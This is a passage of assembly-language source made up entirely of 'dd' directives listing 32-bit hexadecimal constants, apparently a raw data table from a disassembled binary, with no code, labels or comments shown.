		dd 425219E9h, 6B92367Ch, 3DED5383h, 0C1ADD8D3h,	3E46B232h
		dd 0FA18BFE9h, 0CF429F3Ch, 0BF01AE94h, 0E14D2171h, 24816FE2h
		dd 50D4D3A4h, 5EA75BECh, 0CE39FDC6h, 3CA51B72h,	3C558738h
		dd 0BDD930E5h, 8069B00Dh, 7B151E28h, 1B290AADh,	3B1791D4h
		dd 9FAE3C50h, 9386D15Fh, 8A49CC6Dh, 61C5128Eh, 0D2F3AFF5h
		dd 9EABADBCh, 602E936Ah, 0E47CBF8h, 0DBB81112h,	0CCC74508h
		dd 0CC39B607h, 0A51D4F78h, 99C227Dh, 3DCE7259h,	0A7863936h
		dd 25C7F2B1h, 19FCE410h, 8808E377h, 0C50E0F0h, 0A02B9FDAh
		dd 0EC82E6FFh, 0B40B06CFh, 22E10801h, 0A5FFA673h, 1F36C51Eh
		dd 0DDF4BE07h, 0EBEC0275h, 0CE4DAC22h, 0BEFA87C4h, 3BF797CCh
		dd 0A0AB7CA1h, 0B6677B60h, 4CFB1A55h, 9069DE4Dh, 0E28D78D1h
		dd 0D041EC51h, 3E05870Bh, 0E0352BEBh, 3F98C8CCh, 0A20128E8h
		dd 7420DDDBh, 0B3972DB5h, 122B3558h, 5F706A9h, 3C07EF8Ch
		dd 99D10B68h, 0EA00FFF8h, 0B13C718Ch, 76CEF5FCh, 78A8DEB0h
		dd 0CF41EB40h, 0E7A1E64Dh, 2BBD991Fh, 71E5451Ah, 8502595Ah
		dd 734D4749h, 5502F06Fh, 0AB9FE60Dh, 69DA708Bh,	92BB444Fh
		dd 9EFC71F0h, 0D09C724Fh, 0F19B4C86h, 0BE19FBD7h, 833C805Bh
		dd 942B74Fh, 0D12F775Ch, 0E3A844D4h, 857C85D2h,	0B578F598h
		dd 556C0140h, 82790EB4h, 988B53D1h, 3E6FF715h, 2BB5EFD2h
		dd 1F38FFF6h, 8BDCB170h, 1E002BD3h, 0AF418A8Bh,	1CA8F24Bh
		dd 511C4596h, 4634D1A1h, 97734E31h, 585E78E3h, 86C68D75h
		dd 1A25666Bh, 21714B67h, 4839501Fh, 14BBF2F0h, 6EA30168h
		dd 661FF8FFh, 0F709ED4Dh, 0FEF269D0h, 6BE5B3D7h, 0B2FFF0B0h
		dd 89AF818Fh, 9CC76119h, 8871BA85h, 1394DB16h, 0EB5068A6h
		dd 0ECB8767Eh, 0CC0A4E90h, 0FB67972Fh, 0B5C5FA74h, 0C0160CC5h
		dd 84F3100Bh, 859582C4h
		dd 17C2A367h, 31DF0443h, 8C82C304h, 938BA8F1h, 10395C38h
		dd 95B8D258h, 716A9A3Fh, 85BEDAFFh, 58B023CFh, 810DC909h
		dd 21376941h, 52388990h, 42C69F83h, 4CCAD904h, 0F6139B4Ch
		dd 89C15E10h, 5A9ED372h, 10952001h, 5D734C6Fh, 0A53DF87h
		dd 0D953E9A8h, 8A05AD11h, 9CF82F6Bh, 0D628EE45h, 0FEF79A80h
		dd 0C1F74BD9h, 2A184A74h, 0DEEABD14h, 0F1F11EA9h, 9251274h
		dd 90370C6Eh, 6467425Dh, 0E5CB8315h, 0D895334Fh, 0A1BEF9A7h
		dd 41217C4Bh, 0C8D050CDh, 40D63AF7h, 139ACA1Ah,	2C1850F7h
		dd 0B445B015h, 0B2D612Bh, 0EC03225Eh, 284C8865h, 46EFF616h
		dd 851A41C1h, 68E43938h, 7B404336h, 4147608Fh, 8FE58FE5h
		dd 91EBD58Eh, 4A26AE82h, 9A0040F1h, 0BB7267DEh,	4798E824h
		dd 0F152AE05h, 9E6D6A5Bh, 646957E1h, 18753C1Dh,	47C99517h
		dd 0BDC121BFh, 2CF0C37h, 0B0255E76h, 0C30AB50Ch, 0D989970Fh
		dd 3E92ADD9h, 0A63C4742h, 0FA64BD0Ah, 0BDA0983Eh, 0EED06C2Fh
		dd 3DF43B57h, 0B5E17E0Ch, 0CB878955h, 79026CCCh, 6D0F9995h
		dd 0E1497363h, 9D257DF9h, 56FBCB2Eh, 0E746E890h, 0A43F1F92h
		dd 0ECB217A2h, 0C0B8485Dh, 245B3620h, 30CE6EA5h, 0FBAC1135h
		dd 0B2CD44B6h, 0DFF3A168h, 65D52DC5h, 0D958BB5Ah, 4D28CA16h
		dd 2FF50910h, 0BB6C1235h, 0E324661Dh, 0B8AEF72Dh, 0A61208FDh
		dd 1171EE16h, 937B22DEh, 0D1062BA8h, 3191B884h,	32BF6F77h
		dd 0F68057A5h, 57C2ECD7h, 0C9751A93h, 0AB0A3405h, 8FD2CBE6h
		dd 0B6741487h, 0C375562Ch, 0A0D28AB4h, 0DF400F4h, 17F29AA1h
		dd 46024522h, 541BB523h, 9899B815h, 65ADB9AEh, 8E9E4EA5h
		dd 305FBA45h, 0D978012Bh, 1C9D3CCDh, 627E7E5Fh,	0CB4CF735h
		dd 0FBA8A1C3h, 32ACDB24h, 36D15BCCh, 2D620B8Ch,	758CC6C4h
		dd 7406F110h, 72947373h, 7EB2F278h, 0EB800154h,	9E30E1D8h
		dd 0B650612Fh, 0EBC724D7h, 4AE8FF0Ch, 5FFAE716h, 71D9B6AAh
		dd 7192EFA7h, 8D8F4C1Dh, 0B7D6BDDh, 0DD7E1D5Ch,	335A7D8Ch
		dd 53BA74BAh, 66D1F4D3h, 0E8D4F65Eh, 874130CDh,	785F97D1h
		dd 9DAA2F42h, 960E78B7h, 19E037E1h, 0AB43C1B5h,	0E190C16Bh
		dd 62908C18h, 0BB018CCBh, 13AE1151h, 62824E32h,	83891C82h
		dd 0A5D10403h, 0FE0C6CADh, 0D7E60DEFh, 0A5DC7219h, 56868838h
		dd 0BEE91A83h, 38EDE9EBh, 0F7A32BB8h, 0FBF08024h, 0D73A555Fh
		dd 0D605A2A1h, 0B25DF06Eh, 7EEFA4F3h, 0FC94008h, 116ECA1Fh
		dd 37E046E5h, 99E83E6h,	0FD3F09E8h, 3496615Eh, 0DD3AC0ECh
		dd 2F3CA758h, 0EA855544h, 9BF2D6E1h, 4B093689h,	41F2BA43h
		dd 816D85EAh, 841C3B4Dh, 203C4F23h, 0E81F47B4h,	0FBEF28A3h
		dd 788A9109h, 665BF095h, 70249540h, 0F8AE75DCh,	0C29AB380h
		dd 3A2B4FECh, 0D4AD21B5h, 0BB8A17E8h, 0C293AB2Ch, 0A2E85916h
		dd 0E40A3D08h, 0F9D3D6C6h, 0B156F7ECh, 0BAFF6622h, 0F3C06575h
		dd 0C7D84D06h, 7BC98FE2h, 0D46E808Bh, 0D0F55D5Bh, 2EBB5707h
		dd 0AF39AE64h, 976E6008h, 56F3C0C0h, 1860BD61h,	1A38205Fh
		dd 4ADFDF3Dh, 0C2129367h, 16A38F1Eh, 0BED0218Eh, 2BC86A20h
		dd 6C7BDE08h, 0BE50E75h, 0A153711Ah, 6F660DA6h,	81968810h
		dd 0B3325FF9h, 2811CCE2h, 4804ECA4h, 55F34186h,	266A7119h
		dd 9E85AF65h, 0D9BA9BBDh, 3DEACC1Bh, 896E7761h,	69F580B5h
		dd 0E1620EF2h, 3940D5A6h, 3FC99833h, 4041C65Ch,	0A683D78Ah
		dd 26046387h, 500B6F53h, 0A2924242h, 7ACA6645h,	80A3F3ECh
		dd 3F81EB1Fh, 0A4F8FD69h, 0CC90418Dh, 54D4FA9Ch, 0A84B42F7h
		dd 5060A5BBh, 1A7E941Eh, 9AB20DB3h, 0AC65412Bh,	160203A8h
		dd 779ADAF4h, 799A1720h, 2AF7E54Fh, 1D996ACBh, 0DE7B0CE3h
		dd 0B6F48637h, 4EF304Eh, 0B4459616h, 65508538h,	0C67A4419h
		dd 0B2D5E740h, 0DC93F23Ch, 5EBEA89Bh, 44935E5Ah, 3F328D03h
		dd 68B97A24h, 6518810Eh, 5C407A47h, 85DE10E1h, 7D034CDDh
		dd 4EFB9293h, 5BC56968h, 0F19F288Ch, 53372A8Ch,	0D35F2A09h
		dd 0DCA12D6Ch, 61EA0FB9h, 6DC8A454h, 73B3D4CCh,	73208C64h
		dd 0B91735EAh, 0B93839DEh, 0C57D778Ch, 0EFA81B58h, 0EC57AD6Ah
		dd 0C36A8765h, 29D28DA7h, 7D92DC2Bh, 0F2A60A8Dh, 0CF60946Ch
		dd 4F80EBB0h, 0F9699187h, 14BEE2F4h, 0CA80975Dh, 0D9CA13B9h
		dd 84D7C8AAh, 0A5E1BFD7h, 0CC82A6C5h, 0F7A2FFFCh, 36873547h
		dd 0BF73C2F4h, 0B6C78F7Dh, 0D0DC588h, 7BB1D666h, 0B5584A64h
		dd 6102043Dh, 0D7DD7FCEh, 4C372533h, 58AF6355h,	0EC581CD7h
		dd 39D07037h, 0C7049317h, 8C541CDEh, 0CCEBC9Ah,	86A19FB9h
		dd 51A3A747h, 314ED849h, 0B51034C1h, 0A5A0D858h, 9C8BEFCEh
		dd 767FA3F6h, 2B05FD97h, 4436D221h, 0B95DF672h,	368BD77Dh
		dd 0AFDB2244h, 0FAFF1554h, 74200C7Ah, 0A35BAA34h, 50C8EA3Ah
		dd 6EBFE90Ah, 83BE1EBEh, 3457FD9h, 0B37AB3BFh, 51FB71DAh
		dd 0FC1A86ECh, 0E1229E12h, 30E898DEh, 9604D41Bh, 0BF1483Dh
		dd 2AC0F771h, 9FBCCCA2h, 7AF3E913h, 0BFEE7DA9h,	71492338h
		dd 7B36224Ch, 9BF9EF31h, 7F15BF43h, 3D30DBAh, 0A59C59CAh
		dd 996DFC5Bh, 413010F7h, 2F77E7E1h, 0D3C4FC77h,	908FA59h
		dd 0BE989BDCh, 623569BCh, 0CA77614Eh, 0D4674407h, 0E26AF17Bh
		dd 0C471D373h, 79861EFh, 18D9196Fh, 27B14F0h, 8BBE64A5h
		dd 8DD2F6CFh, 0F336C849h, 59392348h, 0DAE6A41Eh, 31505FA0h
		dd 8D1FA3C0h, 0C047086Bh, 9D130936h, 9A95CF58h,	16AF5808h
		dd 0E08C087Ah, 0B940B7CAh, 179C4105h, 862BC94h,	897AD349h
		dd 10FF75BAh, 2B959C60h, 358E1629h, 30BD6E74h, 32EF6F37h
		dd 5BC9CCADh, 0F5DAFA92h, 4B118214h, 59440ABBh,	3B6DF0A4h
		dd 99C93458h, 623CE5BDh, 52EA0F8Bh, 0A3A48F08h,	53E1703h
		dd 7D04AC98h, 6455CA2h,	1B9730BAh, 0E9A0A0CFh, 9AC78ED6h
		dd 0B83955A4h, 107A0F10h, 42E4F17Ah, 14C41B92h,	52D88FACh
		dd 0BF5EA070h, 0DD90175Ch, 8EA4BD07h, 897F4C06h, 5C59E191h
		dd 0BDCC81A7h, 142530FDh, 19BCC19Fh, 81CA8BDEh,	0F376DAB8h
		dd 3FD97286h, 5BFE85A5h, 6B3B102Ah, 0ECBDE9B0h,	1614B2C7h
		dd 70A0B4A8h, 0B05BEDEBh, 0A7DABDD7h, 0EC1E0694h, 0A3B8969Dh
		dd 0A798FDB0h, 349FDD61h, 1CE0B3C8h, 5738A75h, 957A3C86h
		dd 7BE53652h, 89FD9BAh,	0C66A1128h, 85E7BEE8h, 0C387C010h
		dd 0E6A2A142h, 0A2AC13B2h, 90BCCE04h, 8F125743h, 0B3B23004h
		dd 0BA68B66Ch, 3B51BDFEh, 56D788FDh, 0A5B476E9h, 0F13E9EE4h
		dd 0B373C514h, 2E7D57A6h, 11DEFA9Bh, 8A713F5Bh,	57B1E960h
		dd 7E878EE3h, 4D7DE493h, 57EF1F8Eh, 4835BD95h, 44C51BACh
		dd 6241F552h, 8461872Eh, 160C0A8Ch, 0E098FE77h,	0B317CBF5h
		dd 0E739E131h, 2DD85F51h, 65946C3Fh, 19D303A8h,	6DC5A4DDh
		dd 779AF69Eh, 92017C4Ch, 5E073603h, 39F2146Bh, 0B96B2191h
		dd 14D4EE48h, 8B62843Ah, 0F0B73FDCh, 0E971D57Bh, 0E401084Ch
		dd 51F933FDh, 46CFA3F6h, 0E2632B7Dh, 9155577h, 0E90C00F5h
		dd 0D1D92B96h, 723C1467h, 0B260F2FBh, 38A51E18h, 62DD1D4Ah
		dd 0C6C015Bh, 65A92A53h, 0D0B6298Dh, 9E027AE2h,	6A154C6Bh
		dd 6E5E66E4h, 0B1AA1790h, 5198E6A8h, 30BEFAC7h,	7024BB47h
		dd 3D937BCAh, 0C2D869ECh, 0FE158FB5h, 9E30C7E4h, 73875A1Ah
		dd 6BD3A9Ch, 1334313h, 0CF4F6A72h, 0E046DC0Eh, 0A6974D1Ah
		dd 991265h, 0A04DA1FDh,	67FD710Bh, 4E86761Ch, 0E10BFC3Fh
		dd 5D89C021h, 0FC731C5Eh
		dd 57595BB9h, 0BBDFD5B0h, 0A1A70B91h, 85FAA2B0h, 23EFA8D3h
		dd 0A5910B22h, 0AE92A313h, 33A2D599h, 0BD9343B0h, 77CDF088h
		dd 8F487D92h, 82247CCEh, 0C4AA58A2h, 156A24FCh,	142946B7h
		dd 6ABBBB30h, 0C1DDC61Ah, 8A8848C6h, 30E12C6Dh,	0DAF0CA49h
		dd 0CF084Ah, 94A641Fh, 7CEA443h, 34FCF0FDh, 0E6F6D240h
		dd 61C6EA18h, 3B04C19Ch, 0EF5927B8h, 0FE670BB6h, 594F849Fh
		dd 287E413Ch, 0E59F2985h, 9F2F3D3Dh, 5D19C235h,	0AE21102Eh
		dd 828E217Dh, 3D9E8625h, 7443820Fh, 0DC4EB47h, 70D07994h
		dd 2C4B5B01h, 0B946D3C0h, 18E9C2DCh, 0D3CE6F64h, 34FC6C3Eh
		dd 92241135h, 0BF491A79h, 518DAB6Dh, 3C01E885h,	2CB70DE1h
		dd 8ECCDC6Ah, 49FB1C3Bh, 0B9C98BFh, 0CEA07F7Fh,	4E1B3E24h
		dd 162650B3h, 80D5279Fh, 0E0F86EF7h, 0E910B1E0h, 0BEE6F77Eh
		dd 0D5A45AB5h, 0D733FF56h, 73AB4391h, 4A3E66C6h, 0B8EC518Eh
		dd 0FB931D4Eh, 4554FD2Bh, 1AE9BDEDh, 841D3BFAh,	0C4B07ED1h
		dd 0DE92296Ah, 0A6893892h, 0F340CD44h, 8D9506DDh, 0ACA94E37h
		dd 0B3DCC268h, 0A8D1F9Ah, 0F9FEBD82h, 3803AC8Bh, 3EAB489Bh
		dd 20DFBB4Fh, 1FA845A7h, 73315EEBh, 299F5CBDh, 0D9801424h
		dd 0D5ABED9h, 1B259F0Ah, 0DEBB874Bh, 8465A5Dh, 49F54906h
		dd 0BA7DC745h, 0E870C826h, 5EB33520h, 5AD775B2h, 9090DE1h
		dd 156D85A7h, 88DC659Fh, 1EF6BE7Eh, 0C1FACA0Dh,	67D9469Ch
		dd 4223C601h, 6603AA12h, 45DA0901h, 0C448D4BBh,	4A47C4A0h
		dd 3D42A343h, 772FFFC5h, 515972E7h, 7FD5C665h, 0A9880167h
		dd 0F1895349h, 33B80423h, 2993B0F3h, 449F1806h,	0AFF502AFh
		dd 0D123F420h, 1F6D3C6Fh, 589CDDh, 7A4F7C69h, 7AAD3782h
		dd 17D5429Dh, 0C0411B1h, 14B746C3h, 0D2F71F57h,	25228085h
		dd 2331ADEAh, 0FB1E105Dh, 382B92CBh, 60BDA321h,	146CF040h
		dd 60CF300Ch, 5D256BAEh, 78FF1BE9h, 2519068h, 0FAEA87Eh
		dd 1F1DB172h, 0AFF87E39h, 0B27325E7h, 92D17205h, 15D57F56h
		dd 7DC08265h, 0A3AC9602h, 766EA5F7h, 151354DAh,	1EFE2F61h
		dd 3354598Ch, 85E59A86h, 0F8D91602h, 0E5015A81h, 27F92C8Ah
		dd 59CD2998h, 0C181AB73h, 0FD3DEB9Ch, 97132A05h, 0E77BDE27h
		dd 0C9B98818h, 0E4ABB3Eh, 0E8FA231Ah, 58FDBB01h, 0F276B8FCh
		dd 7CF36B77h, 8261774Fh, 0AA5B1F22h, 0C840F627h, 4E98B283h
		dd 5FEE21h, 48CA2AD6h, 0D4D0B79Ch, 36D94E9Fh, 0D5E7DFCCh
		dd 0A64D31B5h, 0C337FC3Eh, 0A96C6E7Fh, 0F0B600E1h, 52AF0583h
		dd 0D20507F5h, 9BFBD3D9h, 0EE760A6Bh, 0A0269066h, 0C55B1D68h
		dd 8E441074h, 49E56D2h,	626AA4A5h, 385700CBh, 0E752BEC0h
		dd 58D004D2h, 0CF7808B3h, 3B4B3E1Fh, 0DF4FF9BDh, 0E29DBC1Ch
		dd 3C347C40h, 0CE8BB4E5h, 0A2765A3Ch, 70D5A0BCh, 9A6E5BF3h
		dd 0A2DAEBACh, 0B6B00888h, 8F71C773h, 6626623Bh, 0EB47446Bh
		dd 14B204FFh, 74D72829h, 58E9E182h, 5E01344Bh, 0FE4533CDh
		dd 0B5D45300h, 3A9F5BE3h, 5A5BB33Ah, 5A9FF741h,	0D442A89Fh
		dd 3E852B8Bh, 5A31C70Ah, 226D8F75h, 7A0F3796h, 857172CBh
		dd 32EE6FCAh, 0A78B6798h, 134A147Fh, 399F4FEBh,	91CE2910h
		dd 2DE75B30h, 2780B63Dh, 0D73073F7h, 836CD9C1h,	2AA67701h
		dd 54B0E80h, 36C6F6B3h,	0E02F1F1Eh, 0C56E6DF6h,	6926A01Dh
		dd 0F63A7D55h, 9E7F7889h, 8B839B07h, 4212B05Dh,	1FFD3FB5h
		dd 40E4C419h, 0B4E05729h, 0E3992263h, 493D5D8Ch, 0D23B1F71h
		dd 20DC4643h, 0F66E7093h, 1C2D8FDBh, 0E4784550h, 0A667E817h
		dd 46014CC1h, 883D4BB0h, 553A38DDh, 0D1489D6Eh,	5C3A2F77h
		dd 0AD81777Fh, 77968D62h, 15BF7DF3h, 1F383AC8h,	0AE0587CBh
		dd 24948638h, 8468DD88h, 9A188E2Dh, 5950E14Bh, 7E5CDD3h
		dd 0D73523F4h, 1D5AE99Dh, 9E79490Bh, 76699505h,	0B8EE51C2h
		dd 25D15459h, 664417A6h, 0D1AE52ACh, 6C9164D4h,	3430888Bh
		dd 60466C1h, 0B9773378h, 181BD866h, 2D44D87Dh, 0FA5206B0h
		dd 17A7CC56h, 0EFA2FD38h, 38757E73h, 580FBB36h,	0B1B26840h
		dd 1DF74145h, 0F6337F82h, 303CA7Ah, 0BF4C6567h,	61D191EDh
		dd 749E73DFh, 8C71812Fh, 0B29419A7h, 29377EEFh,	0B8BEC583h
		dd 416847C8h, 0D210AA4Ch, 87715446h, 45B70229h,	520F0F5Fh
		dd 8C43DCA8h, 4FB6A9D2h, 696E4EECh, 0E56AE91Eh,	0A5A4CB08h
		dd 8C09AE6Eh, 93622A06h, 0A98C6C07h, 18998308h,	3ECA661Dh
		dd 93C66EE4h, 0CC218AC4h, 8C0B6D1Eh, 2D605A30h,	0DE1F0925h
		dd 4B6AD5C6h, 26CD3507h, 349821A8h, 0B9FFCCA2h,	4BF57AE5h
		dd 0C9B23828h, 0E1143783h, 0B8A9CB61h, 420323D5h, 0D44A7019h
		dd 0D3BE46B1h, 5191D441h, 57563F00h, 0EEA6746Dh, 0C88901B1h
		dd 9E556EE9h, 79637211h, 0C06B005Bh, 8AA29650h,	99C8A28Ch
		dd 0F632154Bh, 3E5DBD30h, 4669E484h, 5EB815E6h,	0EB6C028Dh
		dd 83464A94h, 0E41F706Fh, 135B5B40h, 0C87CDAFFh, 14689492h
		dd 0C5924AC7h, 807A3987h, 531585C6h, 0FAC9C113h, 4464AE27h
		dd 5363EC5Eh, 95322CDBh, 32DD4071h, 0D939CA9Fh,	0FACCD247h
		dd 434AC165h, 0AD1B456Bh, 0B349F17Bh, 1CE21D5Fh, 629722BCh
		dd 9B633ABEh, 65DA5B2Ch, 3F58500Dh, 13BFD606h, 0B887C064h
		dd 4B736292h, 39D39FDCh, 9FD170B8h, 381EBC83h, 0EE565A14h
		dd 7C40143Bh, 0F2341E0Eh, 4FC1E71Dh, 945B5EA7h,	2CADB55Ch
		dd 3560F291h, 55AF6916h, 2055B15Bh, 8C3B952Eh, 0D83C21Eh
		dd 95178D26h, 3BA881F0h, 4911AA5Dh, 0D6CF8CF6h,	0DE0609E8h
		dd 0C0D328A8h, 0D4CA499Dh, 0EC312731h, 0AECC829h, 3BB74DD4h
		dd 95AB8F9Eh, 2F0AE79Bh, 78A9927Fh, 3B4F4177h, 1AA9B252h
		dd 10FD1A17h, 0A5D43735h, 77FD880Dh, 7A36AD5Ch,	0AD2AE071h
		dd 0CFB27808h, 614ED064h, 1F42CB39h, 8FBD21E1h,	0A90A6905h
		dd 0F8C096D0h, 0F60850DCh, 0C1F9CAD4h, 436EEA9Ch, 7A149A2Dh
		dd 0ED7D800Ch, 28FDC774h, 782E3918h, 6CCA8A35h,	46E2D44Ch
		dd 0FD8EABA5h, 3840B441h, 0D40CF182h, 42639EF0h, 0ABB203F5h
		dd 0BD184AC3h, 5FDD39Bh, 0FA637831h, 274128F1h,	0F2A5A1BCh
		dd 11BC36B6h, 0D5A4A27Eh, 0B117D7D4h, 8B8DF284h, 0B09A90C4h
		dd 8801A4F5h, 0EA4C7854h, 1F85F9E4h, 466E906Bh,	0AB387D52h
		dd 2CDB2DA0h, 41132438h, 6EC884DEh, 88C8A39Ch, 7812AEE1h
		dd 28514584h, 7C47C208h, 6C376109h, 0E748F0BAh,	5C1736Dh
		dd 119DBA11h, 0D76A9CE9h, 97ADCB26h, 0DE19EE92h, 0F1D5EDF5h
		dd 608C5B14h, 8E11D93Ch, 249EC1ADh, 0A9D8F1E9h,	0E5104986h
		dd 6BC3387Bh, 0E44E5CD4h, 0AAE1F57Eh, 3248E1Fh,	0F005BD84h
		dd 5E52ACB3h, 157B02DDh, 75FB0686h, 61299629h, 281FB022h
		dd 6D93F7B3h, 0FA5CE432h, 0B808F154h, 0B2C0738Dh, 2828838h
		dd 616E0DD8h, 9F16016h,	0A1DFE811h, 9288A7CCh, 4EF7C452h
		dd 0A4EE2D0Fh, 0A8D28F25h, 44AFC193h, 0D7A08820h, 0AEEEE69Bh
		dd 0D607A3EBh, 0B15B5842h, 32077908h, 848BBD7Bh, 18BB4AE0h
		dd 0ADB31264h, 6718C6F8h, 0C9ED6ED2h, 36670C96h, 8C347A1Ah
		dd 19EBB99Dh, 0B44875C3h, 56B949C0h, 0C8DC2435h, 0F88AFF79h
		dd 0FDE2F7EBh, 92917A8Ch, 3BED8F1Bh, 36E99551h,	0D0760275h
		dd 0B73EDEF4h, 847EE7A7h, 0DF28E7E8h, 70B95518h, 274831ADh
		dd 0C95BCF75h, 0CA54373Eh, 7913DCAFh, 13208A1Dh, 6EDF7479h
		dd 0F5DDDF25h, 5C054048h, 0DD6AC5Fh, 0AA8649F0h, 4857C8E2h
		dd 0E3FB3A0Fh, 5AF7F5A2h
		dd 0A68C6B86h, 217499EBh, 344B8E7h, 0BF1002F0h,	37741131h
		dd 0E7E16144h, 0FF3AD2ADh, 0A7DF3D02h, 1E6B39BAh, 570D98AEh
		dd 0F5DC1736h, 0F5364B13h, 2B9F4C50h, 0BF31A95Fh, 8D56D72Eh
		dd 6272CCBFh, 1B901664h, 0DB6BA5EFh, 0E5DC90B4h, 7073FB18h
		dd 8681550Ch, 2E636486h, 3AE3438Dh, 546BA407h, 9DC3393Ch
		dd 0FB95F871h, 0EE136670h, 9EA362C7h, 96C006A0h, 40240935h
		dd 6B5E81D8h, 0EFBC4B15h, 5D1918Dh, 0F611702Ch,	0E366B4C8h
		dd 669D8B29h, 8C0C042Dh, 0D164040Eh, 44D62FA4h,	0A2388C6Eh
		dd 36BBE91Eh, 36F256FFh, 7CC91FC7h, 0E83D2E2Ah,	5833AF0Dh
		dd 0B7B14E0Eh, 2D6C0102h, 3B12A1F0h, 274669Ch, 23AF999Eh
		dd 4AE5F925h, 5AC61598h, 24697A86h, 0C08222A5h,	81F4B93h
		dd 0CB8FC7C5h, 82E79366h, 245E778h, 0CBC9731h, 0E94A1B2h
		dd 411A36B3h, 5546D52h,	5E98F835h, 0DBBE2F9Dh, 1279D605h
		dd 0AE19923Ch, 0B599BB40h, 70A46460h, 176FD642h, 33EFF33Dh
		dd 0E6E84B8Ah, 8F0B0BFAh, 8398E358h, 6D53B7EDh,	5A478538h
		dd 0D0BC5862h, 0A3B9CCFDh, 0D4195395h, 409429F7h, 187F7821h
		dd 913656AFh, 0E33E7CCEh, 8B9DDA8h, 0C80C0E7Ah,	8C7EC28Bh
		dd 613B3DA1h, 2C6D4CE6h, 832EF772h, 512267BCh, 265023BDh
		dd 59BC5CF3h, 0BA42B5Ah, 9C1202F9h, 3650F6BCh, 0D46727A2h
		dd 0F8090B1Dh, 77B200C3h, 71C882BBh, 0F88E1734h, 9D4D371Bh
		dd 1C136E87h, 8FB1E6F4h, 0ABD69F1Eh, 0BB726D05h, 0AEDD998Fh
		dd 5E44677h, 957E8316h,	0EC18F08Ch, 1B34DC5Ah, 651CC795h
		dd 6CC64C20h, 0F5557EBh, 3116A817h, 0F0C62EE9h,	0BA964223h
		dd 573ADE2Fh, 1AF1C226h, 3A6AF3FFh, 0D73EDF4Ch,	0D72810E6h
		dd 0BE4BB3F4h, 75C6203Eh, 0B0CBE7F0h, 5482E95h,	316688D1h
		dd 21DD4FA4h, 867ABB6Ch, 21116A08h, 99FDEBA3h, 40A867CAh
		dd 0DB7FAC6Fh, 0F499A17Fh, 0D0340540h, 0EBF0EC1Fh, 0EE368A60h
		dd 0B28224FEh, 17362B1Fh, 9E3B90FDh, 65F0125Bh,	4D6E1186h
		dd 7224ACA3h, 9433F0CFh, 0F1BD57C9h, 95463E24h,	79FAD23Fh
		dd 0EB438B9Bh, 93DDBDB4h, 6C8987F4h, 0C318EE56h, 0B5DCB05Fh
		dd 0DD2FF40Fh, 0A5AFC36Dh, 0AF31A07Ch, 21C96136h, 2F000AAAh
		dd 91BE513Ch, 0CF348BD9h, 414A20B3h, 58AFFA33h,	7585152Eh
		dd 55772BD7h, 0CCAD85C3h, 0ACCA9DCAh, 0BA967BAh, 0AABCE946h
		dd 0A6B874D2h, 0C275D607h, 68484406h, 30A0E143h, 0BB1A0FE5h
		dd 0F8ED5C7Dh, 0E9199362h, 0B17AD749h, 242A52Bh, 42CC225Ch
		dd 911F490Bh, 9A80E33Fh, 0A4845E5Ch, 636A148Dh,	0EE3DC7B0h
		dd 1BFE9CB0h, 0DD185BC4h, 5CB88D08h, 706D124h, 0C3B3A5A3h
		dd 7D4FB69Eh, 0B3E11FA8h, 0C8CA2502h, 770AB77h,	4E0D6971h
		dd 642EAD69h, 73F81866h, 389A85CBh, 79568130h, 0A8C620h
		dd 3B552DD4h, 0D014F9A6h, 0E6FF36FAh, 0D3FB370Ch, 150DCD0Eh
		dd 0A01F7F3h, 0F5615EC6h, 1A131FFCh, 0DEBD4923h, 0AF4D76Ah
		dd 8CA89498h, 96A79947h, 182384FEh, 86008CE5h, 9B9DC829h
		dd 1D892688h, 82951217h, 840AB57Dh, 66339635h, 347CFFB4h
		dd 8AE76435h, 9E04C155h, 50780B5Eh, 27933155h, 2E76772Eh
		dd 7F72EB81h, 0FF59D538h, 0A065C06Fh, 68E7A80Eh, 0EB95843Eh
		dd 784B7117h, 23A79EB0h, 2026FA95h, 759C7D0Bh, 0FEC045Fh
		dd 0F2459118h, 1FD952h,	437F439Bh, 0EA314D2Fh, 56F41199h
		dd 0D9C8A7A5h, 0CDB3D717h, 463FCB2Ch, 57ED7BA2h, 4C6BAAB8h
		dd 377D5F0Ch, 5D1153EAh, 526B2E95h, 0CC8DFCC0h,	2DE3DDBEh
		dd 6845D605h, 4EA5230Fh, 0AB609F04h, 8D5D510Bh,	0C996BD60h
		dd 1800E6DFh, 0BCDDCD5Bh, 5B0C6598h, 0D63AFD5Bh, 0D1B50C2Bh
		dd 0D82C3CA3h, 0BD42EAA1h, 23F79947h, 0D6EDDDE3h, 2D98CB48h
		dd 328A7ADCh, 2534F6C5h, 0DB56499Dh, 0CC25DC24h, 33E8044Bh
		dd 69C3F762h, 9987743Ch, 1DAA5FCh, 3255B076h, 0F0A523F3h
		dd 169BCE97h, 0E23543FCh, 4744621Dh, 0E4646B56h, 0B9877EC9h
		dd 0FAD18DDCh, 0FED27D21h, 902AFDADh, 1AD2D311h, 898731A0h
		dd 24D49E1Eh, 8C93B303h, 0C535D295h, 5B0D614Ch,	6ED46EEh
		dd 3883043Fh, 4845EF81h, 0E351DEE3h, 59505B1Ah,	9584AEDFh
		dd 0D524FE4Eh, 1182488Dh, 0A0F9042Ah, 0A3A0A3D8h, 3C4A14B7h
		dd 0FD4F22D0h, 0DA916178h, 939B8E8Bh, 9502634Eh, 0BB64D80Ah
		dd 2F153E37h, 7C5A6104h, 0BD57D1B0h, 0B808E9E4h, 42FCE7ADh
		dd 0F7CFB6CDh, 27C97B5Fh, 3350364Ah, 0B597A68Dh, 757DDFEDh
		dd 158ED8E5h, 7F7B685Dh, 0BBCFFE10h, 0C72247E9h, 5B225F74h
		dd 0DAA49400h, 0FC1A9D99h, 4D496249h, 2C2B4A0Ah, 0F6806ED5h
		dd 0A907AB8h, 833BB096h, 203F17B8h, 5B94C646h, 0E0261B0Eh
		dd 0CA97DF54h, 2106386Eh, 0AA7D9E08h, 0EA913CFAh, 0D7504E9Fh
		dd 799B480Eh, 3D730CE6h, 1A6560A2h, 0A3DF1144h,	0CD0CB43Bh
		dd 0D1B8F3A1h, 8714923Ch, 0BF43D595h, 5FE32079h, 0D35777FEh
		dd 9C4D6A40h, 0F6E7477Dh, 45A9DC00h, 22A3FC25h,	0B0ABC4C8h
		dd 0F94C5D0Eh, 0C1F0031Dh, 8D51A1Eh, 0F968683h,	85787766h
		dd 0B8202572h, 0BBA6B91Ch, 30B4A5F2h, 235170F7h, 1F4863E3h
		dd 74F57B82h, 23A9F999h, 143FF715h, 11492E0Dh, 397334FAh
		dd 0E7A735DFh, 8CF46B11h, 3C0B8F1Ch, 0AA2A2AF8h, 0FB31CE84h
